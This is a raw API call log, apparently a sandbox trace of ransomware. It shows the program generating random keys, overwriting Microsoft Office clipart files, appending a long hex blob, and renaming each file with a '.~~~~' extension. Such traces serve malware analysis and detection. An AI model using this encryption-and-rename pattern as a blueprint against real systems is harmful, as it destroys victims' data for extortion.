	[0112.534] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.534] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.534] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23252399561) returned 1
	[0112.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacadd710, dwHighDateTime=0x1d60e1e)) 
	[0112.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830138
	[0112.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830138 | out: hHeap=0x300000) returned 1
	[0112.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832848
	[0112.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.535] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.535] GetLastError () returned 0x0
	[0112.535] GetLastError () returned 0x0
	[0112.535] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.535] GetLastError () returned 0x0
	[0112.535] GetLastError () returned 0x0
	[0112.540] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff96d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.540] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x6928, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x6928, lpOverlapped=0x0) returned 1
	[0112.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.542] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.542] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.542] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.542] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.542] CloseHandle (hObject=0x144) returned 1
	[0112.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cd208
	[0112.543] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.~~~~")) returned 1
	[0112.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cd208 | out: hHeap=0x300000) returned 1
	[0112.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.544] GetLastError () returned 0x0
	[0112.544] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.546] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.546] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.546] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23253619523) returned 1
	[0112.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacadd710, dwHighDateTime=0x1d60e1e)) 
	[0112.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830170
	[0112.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830170 | out: hHeap=0x300000) returned 1
	[0112.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cd208
	[0112.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832978
	[0112.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cd208 | out: hHeap=0x300000) returned 1
	[0112.547] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.547] GetLastError () returned 0x0
	[0112.547] GetLastError () returned 0x0
	[0112.548] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.548] GetLastError () returned 0x0
	[0112.548] GetLastError () returned 0x0
	[0112.551] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff8c00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.551] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x7400, lpOverlapped=0x0) returned 1
	[0112.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.553] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.553] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.553] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.553] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.553] CloseHandle (hObject=0x144) returned 1
	[0112.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cd2b0
	[0112.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.~~~~")) returned 1
	[0112.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cd2b0 | out: hHeap=0x300000) returned 1
	[0112.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.555] GetLastError () returned 0x0
	[0112.555] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.556] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.556] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.556] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23254664679) returned 1
	[0112.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacb03870, dwHighDateTime=0x1d60e1e)) 
	[0112.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28301a8
	[0112.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28301a8 | out: hHeap=0x300000) returned 1
	[0112.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cd2b0
	[0112.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832a10
	[0112.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cd2b0 | out: hHeap=0x300000) returned 1
	[0112.557] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.558] GetLastError () returned 0x0
	[0112.558] GetLastError () returned 0x0
	[0112.558] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.558] GetLastError () returned 0x0
	[0112.558] GetLastError () returned 0x0
	[0112.566] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffbf70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.566] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x4090, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x4090, lpOverlapped=0x0) returned 1
	[0112.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.568] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.568] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.568] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.568] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.568] CloseHandle (hObject=0x144) returned 1
	[0112.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.~~~~")) returned 1
	[0112.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.573] GetLastError () returned 0x0
	[0112.573] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.575] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.575] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.575] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23256523344) returned 1
	[0112.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacb299d0, dwHighDateTime=0x1d60e1e)) 
	[0112.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830218
	[0112.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830218 | out: hHeap=0x300000) returned 1
	[0112.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832aa8
	[0112.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.576] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.576] GetLastError () returned 0x0
	[0112.577] GetLastError () returned 0x0
	[0112.577] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.577] GetLastError () returned 0x0
	[0112.577] GetLastError () returned 0x0
	[0112.580] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff8920, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.580] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x76e0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x76e0, lpOverlapped=0x0) returned 1
	[0112.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.582] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.582] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.582] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.582] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.582] CloseHandle (hObject=0x13c) returned 1
	[0112.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.~~~~")) returned 1
	[0112.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.584] GetLastError () returned 0x0
	[0112.584] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0112.586] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0112.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.586] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23257633257) returned 1
	[0112.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacb4fb30, dwHighDateTime=0x1d60e1e)) 
	[0112.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830250
	[0112.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0112.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830250 | out: hHeap=0x300000) returned 1
	[0112.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0112.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832bd8
	[0112.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.587] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.588] GetLastError () returned 0x0
	[0112.588] GetLastError () returned 0x0
	[0112.588] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.588] GetLastError () returned 0x0
	[0112.588] GetLastError () returned 0x0
	[0112.594] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffa7b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.594] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x5850, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x5850, lpOverlapped=0x0) returned 1
	[0112.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.596] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.596] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.597] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.597] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.597] CloseHandle (hObject=0x13c) returned 1
	[0112.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.597] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.~~~~")) returned 1
